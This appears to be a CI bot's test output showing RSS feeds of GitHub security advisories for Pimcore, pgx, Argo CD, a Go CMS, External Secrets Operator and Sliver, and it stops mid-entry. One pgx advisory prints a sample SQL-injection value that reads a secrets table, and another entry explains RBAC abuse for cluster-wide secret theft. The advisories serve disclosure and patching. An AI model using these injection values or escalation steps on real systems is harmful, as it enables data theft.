        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
  </channel>
</rss>

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/go - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - go</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/go" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - go - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:19:16 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[github.com/jackc/pgproto3/v2] pgproto3 SQL Injection via Protocol Message Size Overflow</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker&#39;s control.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v2.3.3&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Reject user input large enough to cause a single query or bind message to exceed 4 GB in size.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-27304&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-27304&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&quot;&gt;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&quot;&gt;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&quot;&gt;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7jwh-3vrq-q3m8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7jwh-3vrq-q3m8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/jackc/pgx/v5] pgx SQL Injection via Protocol Message Size Overflow</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker&#39;s control.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v4.18.2 and v5.5.4.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Reject user input large enough to cause a single query or bind message to exceed 4 GB in size.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&quot;&gt;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&quot;&gt;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&quot;&gt;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mrww-27vc-gghv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mrww-27vc-gghv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/jackc/pgx/v4] pgx SQL Injection via Protocol Message Size Overflow</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker&#39;s control.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v4.18.2 and v5.5.4.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Reject user input large enough to cause a single query or bind message to exceed 4 GB in size.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&quot;&gt;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&quot;&gt;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&quot;&gt;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mrww-27vc-gghv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mrww-27vc-gghv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/jackc/pgx/v4] pgx SQL Injection via Line Comment Creation</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur when all of the following conditions are met:&lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;The non-default simple protocol is used.&lt;/li&gt;
        &lt;li&gt;A placeholder for a numeric value must be immediately preceded by a minus.&lt;/li&gt;
        &lt;li&gt;There must be a second placeholder for a string value after the first placeholder; both
        must be on the same line.&lt;/li&gt;
        &lt;li&gt;Both parameter values must be user-controlled.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;e.g. &lt;/p&gt;
        &lt;p&gt;Simple mode must be enabled:&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// connection string includes &quot;prefer_simple_protocol=true&quot;
        // or
        // directly enabled in code
        config.ConnConfig.PreferSimpleProtocol = true
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Parameterized query:&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM example WHERE result=-$1 OR name=$2;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Parameter values:&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;$1&lt;/code&gt; =&amp;gt; &lt;code&gt;-42&lt;/code&gt;
        &lt;code&gt;$2&lt;/code&gt; =&amp;gt; &lt;code&gt;&quot;foo\n 1 AND 1=0 UNION SELECT * FROM secrets; --&quot;&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;Resulting query after preparation:&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM example WHERE result=--42 OR name= &#39;foo
        1 AND 1=0 UNION SELECT * FROM secrets; --&#39;;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v4.18.2.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Do not use the simple protocol or do not place a minus directly before a placeholder.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-m7wr-2xf7-cm9p&quot;&gt;https://github.com/advisories/GHSA-m7wr-2xf7-cm9p&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-m7wr-2xf7-cm9p</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-m7wr-2xf7-cm9p</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/argoproj/argo-cd/v2] Argo CD leaks repository credentials in user-facing error messages and in logs</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All versions of Argo CD starting with v2.6.0-rc1 have an output sanitization bug which leaks repository access credentials in error messages. These error messages are visible to the user, and they are logged. The error message is visible when a user attempts to create or update an Application via the Argo CD API (and therefor the UI or CLI). The user must have &lt;code&gt;applications, create&lt;/code&gt; or &lt;code&gt;applications, update&lt;/code&gt; RBAC access to reach the code which may produce the error.&lt;/p&gt;
        &lt;p&gt;The user is not guaranteed to be able to trigger the error message. They may attempt to spam the API with requests to trigger a rate limit error from the upstream repository. &lt;/p&gt;
        &lt;p&gt;If the user has &lt;code&gt;repositories, update&lt;/code&gt; access, they may edit an existing repository to introduce a URL typo or otherwise force an error message. But if they have that level of access, they are probably intended to have access to the credentials anyway.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;A patch for this vulnerability has been released in the following Argo CD version:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;v2.6.1&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;The only way to completely resolve the issue is to upgrade.&lt;/p&gt;
        &lt;h4 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h4&gt;
        &lt;p&gt;To mitigate the issue, make sure that your repo credentials have only least necessary privileges. For example, the credentials should not have push access, and they should not have access to more resources than what Argo CD actually needs (for example, a whole GitHub org when only one repo is needed).&lt;/p&gt;
        &lt;p&gt;To further mitigate the impact of a leaked write-capable repo credential, you could &lt;a href=&quot;https://argo-cd.readthedocs.io/en/stable/user-guide/gpg-verification/#enforcing-signature-verification&quot;&gt;enable commit signature verification&lt;/a&gt;. Even if someone could push a malicious commit, the commit would not by synced.&lt;/p&gt;
        &lt;p&gt;You should also enforce least privileges in Argo CD RBAC. Make sure users only have &lt;code&gt;repositories, update&lt;/code&gt;, &lt;code&gt;applications, update&lt;/code&gt;, or &lt;code&gt;applications, create&lt;/code&gt; access if they absolutely need it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;The problem was initially reported in a &lt;a href=&quot;https://github.com/argoproj/argo-cd/issues/12309&quot;&gt;GitHub issue&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/&quot;&gt;Argo CD RBAC configuration documentation&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;for-more-information&quot;&gt;For more information&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Open an issue in &lt;a href=&quot;https://github.com/argoproj/argo-cd/issues&quot;&gt;the Argo CD issue tracker&lt;/a&gt; or &lt;a href=&quot;https://github.com/argoproj/argo-cd/discussions&quot;&gt;discussions&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;Join us on &lt;a href=&quot;https://argoproj.github.io/community/join-slack&quot;&gt;Slack&lt;/a&gt; in channel #argo-cd&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/argoproj/argo-cd/security/advisories/GHSA-mv6w-j4xc-qpfw&quot;&gt;https://github.com/argoproj/argo-cd/security/advisories/GHSA-mv6w-j4xc-qpfw&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-25163&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-25163&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/argoproj/argo-cd/issues/12309&quot;&gt;https://github.com/argoproj/argo-cd/issues/12309&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/argoproj/argo-cd/pull/12320&quot;&gt;https://github.com/argoproj/argo-cd/pull/12320&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2023-1548&quot;&gt;https://pkg.go.dev/vuln/GO-2023-1548&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac&quot;&gt;https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mv6w-j4xc-qpfw&quot;&gt;https://github.com/advisories/GHSA-mv6w-j4xc-qpfw&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mv6w-j4xc-qpfw</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mv6w-j4xc-qpfw</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/gouniverse/cms] Gouniverse GoLang CMS vulnerable to Cross-site Scripting</title>
      <description>&lt;p&gt;A vulnerability was found in Gouniverse GoLang CMS 1.4.0. It has been declared as problematic. This vulnerability affects the function PageRenderHtmlByAlias of the file FrontendHandler.go. The manipulation of the argument alias leads to cross site scripting. The attack can be initiated remotely. Upgrading to version 1.4.1 is able to address this issue. The patch is identified as 3e661cdfb4beeb9fe2ad507cdb8104c0b17d072c. It is recommended to upgrade the affected component.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8572&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8572&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/issues/5&quot;&gt;https://github.com/gouniverse/cms/issues/5&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/issues/5#issuecomment-2330848731&quot;&gt;https://github.com/gouniverse/cms/issues/5#issuecomment-2330848731&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/commit/3e661cdfb4beeb9fe2ad507cdb8104c0b17d072c&quot;&gt;https://github.com/gouniverse/cms/commit/3e661cdfb4beeb9fe2ad507cdb8104c0b17d072c&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gouniverse/cms/releases/tag/v1.4.1&quot;&gt;https://github.com/gouniverse/cms/releases/tag/v1.4.1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?ctiid.276802&quot;&gt;https://vuldb.com/?ctiid.276802&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?id.276802&quot;&gt;https://vuldb.com/?id.276802&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?submit.401896&quot;&gt;https://vuldb.com/?submit.401896&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pv7h-hg6m-82j8&quot;&gt;https://github.com/advisories/GHSA-pv7h-hg6m-82j8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pv7h-hg6m-82j8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pv7h-hg6m-82j8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/external-secrets/external-secrets] External Secrets Operator vulnerable to privilege escalation</title>
      <description>&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;The external-secrets has a deployment called default-external-secrets-cert-controller, which is bound with a same-name ClusterRole. This ClusterRole has &quot;get/list&quot; verbs of secrets resources(&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&lt;/a&gt;). It also has path/update verb of validatingwebhookconfigurations resources(&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&lt;/a&gt;). As a result, if a malicious user can access the worker node which has this deployment. he/she can:&lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;&lt;p&gt;For the &quot;get/list secrets&quot; permission, he/she can abuse the SA token of this deployment to retrieve or get ALL secrets in the whole cluster, including the cluster-admin secret if created. After that, he/she can abuse the cluster-admin secret to do whatever he/she likes to the whole cluster, resulting in a cluster-level privilege escalation.&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;&lt;p&gt;For the patch/update verb of validatingwebhookconfigurations, the malicious user can abuse these permissions to get sensitive data or lanuch DoS attacks:&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;For the privilege escalation attack, by updating/patching a Webhook to make it listen to Secret update operations, the attacker can capture and log all data from requests attempting to update Secrets. More specifically, when a Secret is updated, this Webhook sends the request data to the logging-service, which can then log the content of the Secret. This way, an attacker could indirectly gain access to the full contents of the Secret.&lt;/p&gt;
        &lt;p&gt;For the DoS attack, by updating/patching a Webhook, and making it deny all Pod create and update requests, the attacker can prevent any new Pods from being created or existing Pods from being updated, resulting in a Denial of Service (DoS) attack.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Please see the &quot;Details&quot; section&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Privilege escalation&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/security/advisories/GHSA-qwgc-rr35-h4x9&quot;&gt;https://github.com/external-secrets/external-secrets/security/advisories/GHSA-qwgc-rr35-h4x9&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45041&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45041&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/commit/0368b9806f660fa6bc52cbbf3c6ccdb27c58bb35&quot;&gt;https://github.com/external-secrets/external-secrets/commit/0368b9806f660fa6bc52cbbf3c6ccdb27c58bb35&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/commit/428a452fd2ad45935312f2c2c0d40bc37ce6e67c&quot;&gt;https://github.com/external-secrets/external-secrets/commit/428a452fd2ad45935312f2c2c0d40bc37ce6e67c&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L27&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&quot;&gt;https://github.com/external-secrets/external-secrets/blob/main/deploy/charts/external-secrets/templates/cert-controller-rbac.yaml#L49&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-qwgc-rr35-h4x9&quot;&gt;https://github.com/advisories/GHSA-qwgc-rr35-h4x9&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-qwgc-rr35-h4x9</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-qwgc-rr35-h4x9</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/bishopfox/sliver] Silver vulnerable to MitM attack against implants due to a cryptography vulnerability</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;The current cryptography implementation in Sliver up to version 1.5.39 allows a MitM with access to the corresponding implant binary to execute arbitrary codes on implanted devices via intercepted and crafted responses. (Reserved CVE ID: CVE-2023-34758)&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
